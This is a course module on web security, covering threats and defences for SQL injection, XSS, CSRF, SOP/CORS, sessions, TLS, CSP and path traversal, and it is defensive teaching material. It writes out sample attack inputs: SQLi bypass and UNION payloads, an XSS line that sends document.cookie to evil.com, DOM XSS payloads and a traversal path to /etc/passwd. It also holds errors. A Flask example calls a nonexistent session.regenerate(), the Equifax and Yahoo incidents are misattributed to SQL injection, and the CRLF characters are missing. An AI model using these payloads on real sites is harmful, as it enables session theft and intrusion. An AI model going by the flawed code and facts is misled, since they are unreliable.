R0KernelPath
module 238 / 262

Web Security

Web security is the art of defending stateful, multi-party HTTP applications against adversaries who control user input, network traffic, and the browser itself.

~18h focused study10 concepts

Overview

The web was not designed with adversaries in mind. HTTP was conceived as a stateless document-delivery protocol in an academic network where trust was implicit. Over three decades, the web accreted state (cookies), interactivity (JavaScript), cross-site resource loading (iframes, images, scripts), and finally became the primary substrate for banking, healthcare, and critical infrastructure — all while carrying the original security assumptions of a document-sharing system.

Web security is therefore a discipline of retrofitted trust. The browser enforces policies — the Same-Origin Policy, Content Security Policy, cookie scoping — that constrain what code and data can flow between mutually distrusting parties sharing a single runtime. Server-side, developers must contend with user-supplied data that can escape its intended context (SQL injection, XSS), forged cross-site requests that exploit the browser's ambient credential store (CSRF), and broken authentication that allows session hijacking or privilege escalation.

This module is organized around the threat model first, then each major attack class, then the defenses. Understanding attacks is not optional: the mitigations are designed around precise assumptions about the adversary's capabilities, and a defense that doesn't match its threat model gives only the illusion of safety. You will see that most web vulnerabilities reduce to the same root cause — mixing code and data in a context-sensitive language — and that the principled defenses all reduce to the same root solution: contextual encoding and explicit trust decisions.

By the end you will be able to read a CVE advisory for a web vulnerability and immediately classify it, identify where the defense failed, and describe the correct fix. That is the standard MIT 6.858 or Stanford CS 155 expects of you, and it is the bar this module sets.

why this matters for the kernel

Web vulnerabilities account for the majority of real-world breaches. SQL injection alone has been exploited in headline incidents at Yahoo (450 million credentials), Sony PlayStation Network, and Equifax. Cross-site scripting is the most common vulnerability class in the OWASP Top 10 year after year. Understanding web security is not optional for any professional who builds or operates software that touches the internet — which, today, is almost all software.

Beyond the practical stakes, web security is intellectually deep. The Same-Origin Policy is a subtle distributed-systems access-control decision embedded in every browser on earth. Session management forces you to reason about cryptographic tokens, entropy, and revocation in a stateless protocol. CSRF exploits the gap between who the browser thinks it is talking to and who actually initiated a request. These are not implementation bugs — they are design tensions in the web's architecture, and understanding them builds the kind of security intuition that transfers to every system you will ever build.

Web Request Flow: Attack Points and Defenses

rendering diagram…

The major web attack surfaces and their corresponding defenses, mapped onto the request/response cycle. Network attacks are mitigated by TLS + HSTS. Injection at the database layer is stopped by parameterized queries. XSS injected into responses is limited by CSP. CSRF forged requests are blocked by SameSite cookies and CSRF tokens.

The concepts

01The Web Threat Model

Before studying any specific attack, you must internalize the threat model: who are the principals, what can they observe and control, and what do we want to prevent?

Principals in a web session:

  • Server — runs your application, owns the database, generates responses.
  • Browser — runs on the user's machine, executes JavaScript from multiple origins simultaneously.
  • User — interacts via the browser; may be authenticated or anonymous.
  • Network adversary (Mallory) — can observe or modify traffic on any unencrypted path.
  • Web attacker — controls a malicious page (e.g., evil.com) that the user's browser visits simultaneously with bank.com.
  • Script injection adversary — manages to get malicious JavaScript executed in the context of your origin (XSS).

The key insight: the browser is a shared runtime. Unlike a desktop OS where processes are isolated, the browser runs code from bank.com and evil.com in the same application, sharing a credential store (cookies), a DNS resolver, and network stack. The Same-Origin Policy is the kernel-level isolation boundary.

What we defend:

  1. Confidentiality — an attacker cannot read data they are not authorized to see.
  2. Integrity — an attacker cannot modify data or trigger actions on behalf of the user.
  3. Authenticity — the user is who they claim to be; the server is who it claims to be.

Attacker capabilities by threat class:

AttackAttacker controlsAttacker goal
Network MITMNetwork pathRead/modify traffic
SQL injectionInput fieldsBypass auth, exfiltrate DB
XSSInjected script in victim originRead cookies, forge requests
CSRFPage victim visitsTrigger state-changing requests
Session hijackingStolen session tokenImpersonate victim

Always ask: what does this attacker actually control? A CSRF attacker cannot read the response to the forged request (because SOP blocks it); they can only cause requests to be sent. That distinction drives the entire CSRF defense.

02SQL Injection

SQL injection (SQLi) is the classic instance of the code/data confusion vulnerability class. It occurs when user-supplied strings are interpolated directly into a SQL query, allowing the attacker to change the structure of the query, not just its data.

Anatomy of the attack:

Consider a login form. The naive server-side query:

SELECT * FROM users WHERE username = '<input>' AND password = '<input>';

If the attacker supplies username = admin'--, the resulting SQL is:

SELECT * FROM users WHERE username = 'admin'--' AND password = '...';

The -- is a SQL comment; everything after it is ignored. The query now returns the admin row without checking the password.

Union-based exfiltration: If the attacker can observe the query output (e.g., search results), they can append a UNION SELECT to extract arbitrary tables:

' UNION SELECT username, password_hash, NULL FROM users--

Blind SQLi: When there is no visible output, attackers use boolean conditions and timing:

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
-- If page changes behavior, first char of admin password is 'a'

Second-order injection: Data is stored safely (properly escaped), but later retrieved and used in a second query without re-escaping, triggering injection at that second use site. This defeats defenses that only sanitize at input time.

The root cause: the SQL parser cannot distinguish intended SQL structure from data, because both arrive as strings. The query is compiled with user data already embedded.

Principled defense — Parameterized Queries (Prepared Statements): The fix separates compilation from execution. The query structure is fixed; user data is bound as typed parameters that the database driver transmits outside the SQL parse tree.

No amount of quoting tricks in user data can escape a bound parameter because it never enters the SQL grammar — it is a typed value substituted after parsing.

Defense in depth:

  • Parameterized queries everywhere (the only primary defense).
  • Least-privilege database accounts (the web app account cannot DROP TABLE).
  • WAF rules as a secondary signal, never as the primary defense.
  • Error messages that don't leak schema details.
# VULNERABLE — string interpolation
def login_bad(username, password, conn):
    query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
    return conn.execute(query).fetchone()

# SAFE — parameterized query
def login_good(username, password, conn):
    query = "SELECT * FROM users WHERE username=? AND password=?"
    return conn.execute(query, (username, password)).fetchone()

# login_good("admin'--", "anything", conn)
# SQL sent to DB engine: SELECT * FROM users WHERE username=? AND password=?
# Parameters bound separately: ("admin'--", "anything")
# The apostrophe and comment marker are data, never parsed as SQL.

03Cross-Site Scripting (XSS)

Cross-site scripting occurs when an attacker injects JavaScript that executes in the security context of a victim origin. Because the browser enforces the Same-Origin Policy based on the origin that served the script, injected scripts inherit all the privileges of the page they run in: they can read cookies, make authenticated requests, and exfiltrate data.

Three variants:

  1. Stored (Persistent) XSS: Malicious script is stored in the application database and served to every future visitor. Example: a forum post body containing <script>fetch('https://evil.com/?c='+document.cookie)</script>. Every user who loads that post executes the attacker's code in the forum's origin.

  2. Reflected XSS: The malicious script is in the URL (query parameter, fragment). The server reflects it back in the HTML response without encoding. The attacker tricks a victim into clicking the crafted URL.

  3. DOM-based XSS: The injection never reaches the server. Client-side JavaScript reads an attacker-controlled source (e.g., location.hash) and writes it to a dangerous sink (e.g., element.innerHTML) without sanitization. The server's response is completely benign; the vulnerability lives entirely in the JS.

Why HttpOnly cookies don't fully save you: HttpOnly prevents document.cookie access, but an XSS attacker can still forge authenticated requests (fetch), read page content, keylog, and exfiltrate data through side channels. XSS is a full compromise of the session.

The root cause: HTML, CSS, JavaScript, and URLs are each context-sensitive languages. A string that is safe data in one context (HTML text) can be executable code in another (inside a <script> tag, an event attribute, a CSS url(), a JavaScript string). Escaping must be context-aware.

Defenses:

  • Output encoding: Escape every dynamic value for the specific context it appears in.

    • HTML context: &, <, >, ", ' → &amp;, &lt;, &gt;, &quot;, &#x27;
    • JavaScript string context: Unicode-escape non-alphanumeric characters.
    • URL context: percent-encode.
    • CSS context: hex-escape. Use a trusted template engine (Jinja2, React JSX) that does this automatically.
  • Content Security Policy (CSP): An HTTP response header that tells the browser which script sources are trusted. Content-Security-Policy: default-src 'self'; script-src 'self' blocks inline scripts and scripts from external origins, turning most XSS injections into no-ops even if they slip past encoding. CSP is defense-in-depth, not a replacement for encoding.

  • Trusted Types (modern browsers): Forces all writes to dangerous DOM sinks through a policy object, making unsafe assignment a runtime error.

  • HttpOnly and Secure cookie flags: Reduce XSS impact but don't prevent the attack.

DOM XSS sources and sinks to audit:

  • Sources: location.href, location.search, location.hash, document.referrer, postMessage
  • Sinks: innerHTML, outerHTML, document.write, eval, setTimeout(string), location.href = userInput
<!-- VULNERABLE: reflected XSS in Jinja2 without autoescape -->
<!-- URL: /search?q=<script>alert(document.cookie)</script> -->
<p>Results for: {{ request.args.get('q') }}</p>

<!-- SAFE: Jinja2 with autoescape=True (default in Flask for HTML templates) -->
<p>Results for: {{ request.args.get('q') | e }}</p>
<!-- Renders: Results for: &lt;script&gt;alert(document.cookie)&lt;/script&gt; -->

<!-- DOM XSS: VULNERABLE -->
<script>
  // location.hash = #<img src=x onerror=alert(1)>
  document.getElementById('out').innerHTML = location.hash.slice(1);
</script>

<!-- DOM XSS: SAFE -->
<script>
  document.getElementById('out').textContent = location.hash.slice(1);
  // textContent sets a text node — no HTML parsing, injection impossible
</script>

04The Same-Origin Policy (SOP)

The Same-Origin Policy is the browser's primary isolation mechanism. It is the reason an attacker's page at evil.com cannot directly read your bank's DOM or cookies.

Definition of origin: An origin is the triple (scheme, host, port). Two URLs share an origin if and only if all three components match exactly.

URL AURL BSame origin?Reason
https://example.com/ahttps://example.com/bYesScheme, host, port match
https://example.comhttp://example.comNoScheme differs
https://example.comhttps://sub.example.comNoHost differs
https://example.comhttps://example.com:8080NoPort differs

What SOP restricts:

  • XMLHttpRequest and fetch: You can send a cross-origin request, but you cannot read the response (unless the server opts in via CORS headers).
  • document access via window.frames[i].document: blocked cross-origin.
  • Cookie access via document.cookie: cookies are scoped by Domain and Path attributes, not origin, but HttpOnly cookies are additionally inaccessible to scripts.
  • localStorage, sessionStorage, IndexedDB: isolated per origin.

What SOP does NOT restrict (important for CSRF):

  • Navigation (window.location = ...): always allowed.
  • Form submission (<form action="https://bank.com/transfer">) via POST: allowed. The browser sends the request with cookies but the attacker's page cannot read the response.
  • Loading images, scripts, iframes: the resource is fetched with cookies, but the embedding page cannot read its content.

CORS — Cross-Origin Resource Sharing: CORS is the opt-in relaxation of SOP for APIs that need to be called from trusted cross-origin clients. The server includes response headers:

Access-Control-Allow-Origin: https://trusted.com
Access-Control-Allow-Credentials: true

For state-changing requests (non-simple methods, or requests with custom headers), the browser first sends a preflight OPTIONS request. The server must reply with appropriate Access-Control-Allow-Methods and Access-Control-Allow-Headers before the browser sends the actual request.

Dangerous CORS misconfiguration: Reflecting Origin back verbatim: Access-Control-Allow-Origin: <whatever origin sent> combined with Access-Control-Allow-Credentials: true means any origin can read authenticated responses — this is equivalent to no SOP at all.

Subresource integrity: Even within the same origin, loading a third-party script (<script src="https://cdn.example.com/lib.js">) trusts that CDN. Subresource Integrity (SRI) lets you pin the expected hash: <script src="..." integrity="sha384-...">. The browser refuses to execute the script if the hash doesn't match.

# Illustration: what the browser allows vs. blocks

# From evil.com's JavaScript:

# ALLOWED — sends request, cookies attached, but response is BLOCKED
response = await fetch('https://bank.com/account', {credentials: 'include'})
await response.text()  # THROWS: CORS policy blocked this

# ALLOWED — image loads (with cookies), but pixel data BLOCKED by canvas taint
img = new Image()
img.src = 'https://bank.com/avatar.png'  # fetched with cookies
# If drawn to canvas: canvas.getImageData() throws SecurityError

# ALLOWED — form POST fires, cookies sent, attacker cannot read response
# (This is the CSRF threat)
form.action = 'https://bank.com/transfer'
form.method = 'POST'
form.submit()  # browser sends request with bank.com cookies

# BLOCKED — direct cookie read across origins never possible
# document.cookie only returns cookies for the CURRENT origin

05Cross-Site Request Forgery (CSRF)

CSRF exploits a specific gap in the Same-Origin Policy: while SOP prevents an attacker from reading cross-origin responses, it does not prevent the browser from sending cross-origin requests — and the browser automatically attaches cookies (ambient credentials) to every such request.

The attack scenario:

  1. Alice is logged into bank.com; her session cookie is in the browser.
  2. Alice visits evil.com (perhaps via a phishing link).
  3. evil.com contains <img src="https://bank.com/transfer?to=attacker&amount=5000"> or a hidden auto-submitting form.
  4. Alice's browser fetches that URL, automatically attaching the bank.com session cookie.
  5. The bank sees a valid authenticated request and executes the transfer.

Why CSRF works:

  • The browser's cookie store is keyed by domain, not by which page initiated the request.
  • The bank cannot distinguish a request initiated by Alice's own page from one initiated by evil.com — both arrive with the same session cookie.
  • The attacker never needs to read the response; they just need the action to happen.

Defenses:

  1. CSRF tokens (synchronizer token pattern): The server generates a secret, unpredictable token per session (or per form), embeds it in every HTML form as a hidden field, and validates it on every state-changing request. evil.com cannot forge this token because it cannot read bank.com's HTML (SOP blocks that).

  2. Double-submit cookie: A random token is placed in both a cookie and a request parameter. The server checks they match. Because evil.com cannot read the cookie value, it cannot forge the parameter. (This breaks if the attacker can set cookies for the domain — e.g., via a subdomain XSS.)

  3. SameSite cookie attribute (modern, preferred):

    • SameSite=Strict: cookie is never sent on cross-site requests at all.
    • SameSite=Lax (browser default since ~2020): cookie sent on top-level navigation GETs but not on cross-site subresource loads or POSTs.
    • SameSite=None: opt-in to old behavior (must combine with Secure). SameSite=Lax or Strict on session cookies eliminates the CSRF attack vector for the vast majority of cases with no server-side token management.
  4. Origin/Referer header validation: Check that the Origin header on state-changing requests matches your site. This is a secondary defense (headers can sometimes be absent).

  5. Custom request headers: APIs called via fetch or XMLHttpRequest can require a custom header (e.g., X-Requested-With: XMLHttpRequest). Cross-origin form submissions cannot set custom headers, so their absence indicates a CSRF attempt. (This only works for non-simple requests that trigger a CORS preflight.)

Common mistake: Using GET requests for state-changing operations. GET requests are made by <img>, <link>, and prefetch — they are trivially forgeable with zero JavaScript.

# Flask example: CSRF token pattern
import secrets
from flask import session, request, abort

# On form render: embed a fresh token
def render_transfer_form():
    token = secrets.token_hex(32)
    session['csrf_token'] = token
    return f'''
        <form method="POST" action="/transfer">
          <input type="hidden" name="csrf_token" value="{token}">
          <input name="amount"> <input name="to">
          <button>Transfer</button>
        </form>'''

# On form submit: validate token
def handle_transfer():
    submitted = request.form.get('csrf_token', '')
    expected  = session.get('csrf_token', '')
    # Constant-time comparison avoids timing oracle
    if not secrets.compare_digest(submitted, expected):
        abort(403)  # CSRF detected
    # ... process transfer

# Modern alternative: just set the cookie
# Set-Cookie: session=...; SameSite=Lax; Secure; HttpOnly
# SameSite=Lax blocks cross-site POST automatically

06Authentication and Password Security

Authentication is the process of verifying that a principal is who they claim to be. On the web, this almost always begins with a password, and the server-side handling of passwords is one of the most consequential security decisions an application makes.

Why you must never store plaintext passwords: Every non-trivial web application suffers a database breach eventually. If you store passwords in plaintext, every user's password is immediately compromised — and because users reuse passwords, this cascades to their accounts on other services.

Why MD5/SHA-1/SHA-256 are insufficient: General-purpose hash functions are designed to be fast. An attacker with the hash dump and a GPU can compute billions of SHA-256 hashes per second, enabling brute-force and dictionary attacks at scale. A modern GPU cluster can exhaust an 8-character password space in minutes.

The correct primitive: password hashing functions Functions designed specifically for password storage are deliberately slow (via a work factor) and memory-hard (to resist GPU/ASIC acceleration):

  • bcrypt: Based on the Blowfish cipher; cost factor doubles work per increment. Widely deployed, 72-character limit.
  • scrypt: Memory-hard; requires large RAM allocation, defeating parallelism.
  • Argon2 (recommended): Winner of the Password Hashing Competition (2015). Argon2id variant is memory-hard and resistant to both side-channel and GPU attacks. This is the current recommendation.

Salting: Every password hash must include a unique random salt to prevent precomputation (rainbow table) attacks. All three functions above incorporate salting automatically.

Multi-factor authentication (MFA): Passwords are a single factor (something you know). MFA adds a second factor:

  • TOTP (RFC 6238): A time-based 6-digit code derived from a shared secret and the current 30-second window. Used by Google Authenticator, Authy. The server and authenticator app share a secret key at enrollment time; both compute HMAC-SHA1(key, floor(time/30)) independently and compare.
  • FIDO2/WebAuthn: Asymmetric cryptography; the authenticator (hardware key, platform TPM, phone biometric) holds a private key per relying party. The server issues a challenge; the authenticator signs it. Phishing-resistant because the key is bound to the relying party origin.

Credential stuffing: Attackers take leaked credential databases and automate login attempts against other sites. Defense: breach monitoring (HaveIBeenPwned API), rate limiting, CAPTCHA, and MFA.

# Python: password hashing with Argon2
# pip install argon2-cffi
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError

ph = PasswordHasher(
    time_cost=2,        # number of iterations
    memory_cost=65536,  # 64 MiB — must allocate this per hash
    parallelism=2,      # threads
    hash_len=32,
    salt_len=16
)

# At registration — store hash in DB, never the password
def register(username: str, password: str) -> str:
    return ph.hash(password)  # includes random salt automatically

# At login — constant-time comparison built in
def verify_login(stored_hash: str, candidate: str) -> bool:
    try:
        ph.verify(stored_hash, candidate)
        return True
    except VerifyMismatchError:
        return False

# Example hash: $argon2id$v=19$m=65536,t=2,p=2$<salt>$<hash>
# The algorithm, parameters, and salt are all encoded in the stored string

07Session Management

HTTP is stateless — each request carries no inherent memory of previous requests. Sessions are the mechanism by which applications layer state and identity on top of stateless HTTP.

Session tokens as bearer credentials: After a successful login, the server issues a session token — a random identifier that the client presents with every subsequent request. The server maps this token to a record in memory or a database containing the user's identity and state. Whoever possesses the token can act as that user; it is a bearer credential.

Session token requirements:

  • Entropy: Must be unpredictable. At least 128 bits of cryptographically random data (use secrets.token_urlsafe(32) in Python, not random). If an attacker can enumerate or guess tokens, they can hijack any session.
  • Length: Long enough to make brute-force infeasible even against a large token database.
  • Binding: Optionally bind to IP or User-Agent (defense-in-depth; breaks with mobile networks or VPNs).

Cookie attributes for session tokens:

  • HttpOnly: Prevents JavaScript access. Blocks XSS-based cookie theft (the attacker can still forge requests from XSS, but cannot exfiltrate the token itself).
  • Secure: Cookie only sent over HTTPS. Prevents network interception.
  • SameSite=Lax or Strict: Prevents CSRF (see CSRF section).
  • Domain, Path: Limit scope to the minimum necessary origin.
  • Max-Age / Expires: Absolute expiry. For sensitive applications, use short-lived sessions with re-authentication.

Session fixation attacks: An attacker tricks the victim into using an attacker-controlled session ID before login, then hijacks that authenticated session. Defense: always regenerate the session token on login (and on privilege escalation). The old token, which the attacker knows, must be invalidated.

Server-side vs. stateless (JWT) sessions:

  • Server-side sessions store session data on the server; the token is an opaque handle. Revocation is trivial (delete the server record).
  • Stateless sessions (JWT, signed cookies) encode session data cryptographically in the token itself. No server state needed, scales easily. But revocation is hard: you cannot easily invalidate a valid token before its expiry. If you use JWTs, ensure the signature algorithm is RS256 or ES256 (asymmetric); never accept alg: none (a famous CVE class).

Logout: Logout must invalidate the server-side session record. Client-only logout (clearing the cookie) is insufficient — the session remains valid on the server and can be replayed by an attacker who captured it. For JWTs, maintain a revocation list (blocklist) or use short expiry times.

# Secure session cookie setup in Flask
from flask import Flask, session
import secrets

app = Flask(__name__)
app.secret_key = secrets.token_hex(32)  # CSPRNG; not hardcoded

app.config.update(
    SESSION_COOKIE_HTTPONLY=True,   # no JS access
    SESSION_COOKIE_SECURE=True,     # HTTPS only
    SESSION_COOKIE_SAMESITE='Lax',  # CSRF mitigation
    PERMANENT_SESSION_LIFETIME=3600 # 1 hour absolute expiry
)

@app.route('/login', methods=['POST'])
def login():
    if check_credentials(request.form):
        session.clear()                  # destroy old session
        session.regenerate()             # NEW token post-login
        session['user_id'] = user.id    # bind identity
        return redirect('/dashboard')

@app.route('/logout')
def logout():
    session.clear()  # server-side invalidation
    return redirect('/login')

08HTTPS, TLS, and Secure Transport

Even perfect application-layer security is irrelevant if an adversary can intercept the communication channel. HTTPS (HTTP over TLS) provides confidentiality, integrity, and server authentication for the transport.

TLS in brief: TLS 1.3 (the current standard) performs a handshake:

  1. Client sends ClientHello with supported ciphers and a random nonce.
  2. Server responds with its certificate (signed by a trusted CA), chosen cipher suite, and key share.
  3. Both sides derive session keys via ECDHE (Elliptic Curve Diffie-Hellman Ephemeral). The key exchange produces a shared secret without transmitting it — even a passive observer recording the handshake cannot decrypt past traffic.
  4. All subsequent messages are encrypted with AES-GCM or ChaCha20-Poly1305 (authenticated encryption).

Forward secrecy: The Ephemeral in ECDHE means new key material is generated per session. Compromising the server's long-term private key does not decrypt past sessions.

HTTP Strict Transport Security (HSTS): The Strict-Transport-Security: max-age=31536000; includeSubDomains response header tells the browser: never connect to this domain over plain HTTP for the next year. Subsequent HTTP requests are upgraded by the browser before they leave the machine — a network adversary never sees a cleartext request. HSTS eliminates SSL stripping attacks.

Certificate pinning (for native apps): Pin the expected leaf certificate or CA public key hash in the client. Prevents attacks via rogue certificates issued by a compromised CA. High operational cost (pins must be updated when certificates rotate).

Common HTTPS mistakes:

  • Mixed content: an HTTPS page loads HTTP resources. The HTTP resources are visible to a network attacker and can be swapped.
  • Invalid certificate warnings clicked through: trains users to ignore security indicators.
  • Cookies set without Secure flag: sent over HTTP even if the page is HTTPS.
  • Weak cipher suites enabled: SSLv3, TLS 1.0/1.1, RC4, 3DES. All should be disabled.
# nginx TLS configuration — secure baseline
server {
    listen 443 ssl http2;
    server_name example.com;

    ssl_certificate     /etc/ssl/example.com.crt;
    ssl_certificate_key /etc/ssl/example.com.key;

    # TLS 1.2 minimum; TLS 1.3 preferred
    ssl_protocols TLSv1.2 TLSv1.3;

    # Strong cipher suites only
    ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384';
    ssl_prefer_server_ciphers off;  # TLS 1.3 handles this

    # Enable HSTS
    add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;

    # Prevent clickjacking
    add_header X-Frame-Options DENY;

    # Enable OCSP stapling for fast revocation
    ssl_stapling on;
    ssl_stapling_verify on;
}

# Redirect HTTP to HTTPS
server {
    listen 80;
    return 301 https://$host$request_uri;
}

09Content Security Policy (CSP)

Content Security Policy is a declarative security mechanism delivered as an HTTP response header (or <meta> tag) that instructs the browser which content sources and behaviors are permitted for a given page. It is the most powerful defense-in-depth mechanism against XSS.

How it works: The server includes a header like:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; img-src *; object-src 'none';

The browser enforces these directives regardless of what the page's HTML says. A <script> tag injected by XSS will be blocked if it violates the policy.

Key directives:

  • default-src: Fallback for all resource types not explicitly specified.
  • script-src: Allowed script sources. 'self' = same origin only.
  • style-src, img-src, font-src, connect-src: Per-resource-type restrictions.
  • object-src 'none': Disable Flash and plugins (always do this).
  • frame-ancestors 'none' or 'self': Prevents your page from being embedded in an iframe (replaces X-Frame-Options); defends against clickjacking.
  • base-uri 'self': Prevents <base> injection, which can redirect all relative URLs.
  • form-action 'self': Restricts where forms can submit.
  • upgrade-insecure-requests: Automatically upgrades HTTP sub-resource loads to HTTPS.

The 'unsafe-inline' trap: Allowing 'unsafe-inline' in script-src defeats XSS protection because inline scripts (including attacker-injected ones) are permitted. Similarly, 'unsafe-eval' permits eval() and similar.

Nonce-based CSP (correct approach for inline scripts): If you have legitimate inline scripts, use a per-request cryptographic nonce:

Content-Security-Policy: script-src 'nonce-r4nd0m==';

Every inline <script nonce="r4nd0m=="> is permitted; injected scripts without the nonce are blocked. The nonce must be unpredictable and fresh per request.

Strict CSP: Google's recommendation: script-src 'nonce-{random}' 'strict-dynamic'; object-src 'none'; base-uri 'none';. 'strict-dynamic' allows scripts loaded by a trusted script (via DOM insertion) to inherit trust, enabling frameworks that inject scripts dynamically.

CSP reporting: Add report-uri /csp-report to collect violation reports in production. Start with Content-Security-Policy-Report-Only to audit violations without blocking, then switch to enforcing mode.

// Express.js: setting a strict nonce-based CSP
const crypto = require('crypto');

app.use((req, res, next) => {
  const nonce = crypto.randomBytes(16).toString('base64');
  res.locals.cspNonce = nonce; // available in templates

  res.setHeader('Content-Security-Policy',
    `default-src 'self'; ` +
    `script-src 'nonce-${nonce}' 'strict-dynamic'; ` +
    `style-src 'self' 'nonce-${nonce}'; ` +
    `img-src 'self' data:; ` +
    `object-src 'none'; ` +
    `base-uri 'none'; ` +
    `frame-ancestors 'none'; ` +
    `upgrade-insecure-requests`
  );
  next();
});

// In the HTML template (Handlebars/EJS/etc.):
// <script nonce="{{cspNonce}}">
//   // This script is allowed; injected scripts without nonce are blocked
// </script>

10Clickjacking and Other Browser-Level Attacks

Clickjacking (UI redressing) exploits the browser's ability to embed pages in iframes. An attacker constructs a page with a transparent iframe over a legitimate site, aligned so that a UI element (e.g., a 'Confirm Transfer' button) sits exactly under an innocuous-looking element on the attacker's page. The user thinks they are clicking a game or prize claim; they are actually clicking an authenticated action on the victim site.

Defense:

  • X-Frame-Options: DENY (legacy) or Content-Security-Policy: frame-ancestors 'none' (modern, preferred). These instruct the browser to refuse to render the page inside a frame.
  • SameSite=Strict cookies reduce the attack surface further (the victim's session cookie is not sent to the framed page in a cross-site context).

Open Redirect: An application accepts a redirect parameter and bounces to it after login: https://bank.com/login?next=https://evil.com. If the application doesn't validate that next stays within the same origin, an attacker can phish credentials on evil.com via a convincing bank.com login URL. Defense: validate the redirect target against an allowlist or ensure it is a relative path.

HTTP Response Splitting / Header Injection: If user input is inserted into HTTP response headers (e.g., a Location redirect header) without sanitization, an attacker can inject newline characters ( ) to forge additional headers or even response bodies. Modern frameworks strip CRLF from header values, but hand-rolled header construction is vulnerable.

Subdomain takeover: A DNS CNAME pointing staging.example.com → exampleapp.github.io continues to exist after the GitHub Pages site is deleted. An attacker registers the same GitHub Pages slug and now serves content at staging.example.com — within the example.com cookie domain scope. They can set cookies for .example.com and attack the main site. Defense: audit dangling DNS records regularly.

Path traversal (directory traversal): When a server constructs file paths from user input (/download?file=report.pdf), an attacker may supply ../../../etc/passwd. Defense: resolve the canonical path with os.path.realpath and confirm it is under the intended base directory.

# Path traversal defense in Python
import os

BASE_DIR = '/var/www/uploads'

def safe_download(filename: str) -> bytes:
    # Construct candidate path
    candidate = os.path.join(BASE_DIR, filename)
    # Resolve symlinks and '..' components
    real = os.path.realpath(candidate)
    # Enforce prefix constraint
    if not real.startswith(os.path.realpath(BASE_DIR) + os.sep):
        raise PermissionError(f'Path traversal detected: {filename}')
    with open(real, 'rb') as f:
        return f.read()

# safe_download('../../../etc/passwd')
# candidate = '/var/www/uploads/../../../etc/passwd'
# real      = '/etc/passwd'
# Does not start with '/var/www/uploads/' → raises PermissionError

Key insights

  • ✦Most web vulnerabilities reduce to one root cause: user-controlled data escaping its intended context and being interpreted as code. SQL injection, XSS, and command injection are all instances of this single pattern.
  • ✦The Same-Origin Policy is the browser's process-isolation boundary. Understanding exactly what it blocks (reading cross-origin responses) and what it does NOT block (sending cross-origin requests with cookies) is the key to understanding both CSRF and CORS.
  • ✦CSRF is possible precisely because the browser attaches cookies to requests based on the destination domain, regardless of which page initiated the request. SameSite cookies fix this at the transport layer.
  • ✦Defense in depth is mandatory, not optional: output encoding prevents XSS, but CSP limits blast radius; parameterized queries prevent SQLi, but least-privilege DB accounts limit damage if something slips through.
  • ✦Password storage is a one-way cryptographic commitment. The server should never be able to recover the original password; it can only verify a candidate by re-deriving the same hash. Memory-hardness (Argon2) is what defeats GPU-based brute-force.
  • ✦Session tokens are bearer credentials: possession is equivalent to identity. Every security property of authentication ultimately depends on the entropy and secrecy of the session token.
  • ✦HttpOnly and Secure cookie flags are not XSS mitigations — they are *impact-reduction* measures. The XSS attack can still forge requests, read page content, and exfiltrate data. The fix for XSS is correct output encoding.
  • ✦HTTPS is a prerequisite, not a feature. All application-layer security measures are bypassed if a network adversary can see or modify traffic.

Common pitfalls

  • ⚠Using 'sanitization' (removing dangerous characters) instead of contextual encoding. Sanitization is fragile; a filter that removes '<script>' can be bypassed with case variations, encoding tricks, or by injecting into a non-HTML context. Encoding is always correct.
  • ⚠Validating CSRF tokens on GET requests but not on all state-changing POST/PUT/DELETE requests — or worse, using GET for state-changing operations at all.
  • ⚠Setting Access-Control-Allow-Origin to the request's Origin header value unconditionally, combined with Access-Control-Allow-Credentials: true. This nullifies the Same-Origin Policy for every origin.
  • ⚠Using JWT 'alg: none' or accepting algorithm choice from the token itself. Always enforce the expected algorithm server-side; never trust the header's alg claim.
  • ⚠Client-only logout that clears the cookie without invalidating the server-side session record. The session token is still valid and can be replayed.
  • ⚠Storing passwords with fast hashes (MD5, SHA-256) without a work factor. Fast hashes are brute-forced in seconds on modern hardware. Use Argon2id.
  • ⚠Trusting the Referer header as the sole CSRF defense. Referer is not sent in all contexts (HTTPS→HTTP navigation, private browsing), is under the browser's discretion, and was historically spoofable in some configurations.
  • ⚠Conflating authentication (are you who you say you are?) with authorization (are you allowed to do this?). A perfectly authenticated user can still perform unauthorized actions if access control is not enforced on every request.

Practice

  1. 01
    easy

    Build a minimal login form in Python (Flask or FastAPI) that is intentionally vulnerable to SQL injection. Then fix it using parameterized queries. Demonstrate the attack by logging in as 'admin' without knowing the password, then verify the fix blocks that exact payload.

  2. 02
    medium

    Implement a reflected XSS scanner: a Python script that takes a URL with a query parameter, sends a probe payload (e.g., a unique string including angle brackets), fetches the response HTML, and reports whether the probe appears unencoded in the HTML. Test it against a deliberately vulnerable Flask endpoint you write.

  3. 03
    medium

    Implement the CSRF token pattern from scratch. Build two Flask routes: a bank transfer form (GET) that issues a fresh CSRF token embedded in a hidden field, and a transfer handler (POST) that validates the token using constant-time comparison. Then write a test that simulates a CSRF attack (POST without the correct token) and verify it returns 403. Also verify a legitimate form submission succeeds.

  4. 04
    easy

    Analyze the Same-Origin Policy precisely: for each of the following, determine whether the browser permits it and explain why: (a) fetching https://api.example.com/data from a script on https://example.com and reading the response, (b) a form POST from https://evil.com to https://bank.com/transfer, (c) reading document.cookie from a script on https://evil.com for cookies set by https://bank.com, (d) an iframe on https://evil.com embedding https://bank.com and reading its DOM.

  5. 05
    hard

    Design and implement a Content Security Policy for a simple blog application (Next.js or Flask + Jinja2) that has: (a) server-rendered HTML with one inline script block, (b) images loaded from any HTTPS source, (c) no third-party scripts. Use nonces for the inline script. Verify that a simulated XSS payload (injected script tag without the nonce) is blocked in browser developer tools.

  6. 06
    medium

    Implement a password hashing and verification module using Argon2id. Then write a benchmark that compares its throughput (hashes/second) against SHA-256 with the same password corpus. Explain quantitatively why the throughput difference matters for an attacker who has stolen a password hash database with 10 million entries and access to a machine that can compute 10 billion SHA-256 hashes per second.

Resources

🎓MIT 6.858: Computer Systems Security
coursefree

Lecture notes and problem sets directly covering SQL injection, XSS, CSRF, SOP, and session security. The canonical university reference for this module.

📄OWASP Top Ten
docsfree

The industry-standard enumeration of the most critical web security risks, with descriptions, examples, and mitigations.

📄OWASP Web Security Testing Guide
docsfree

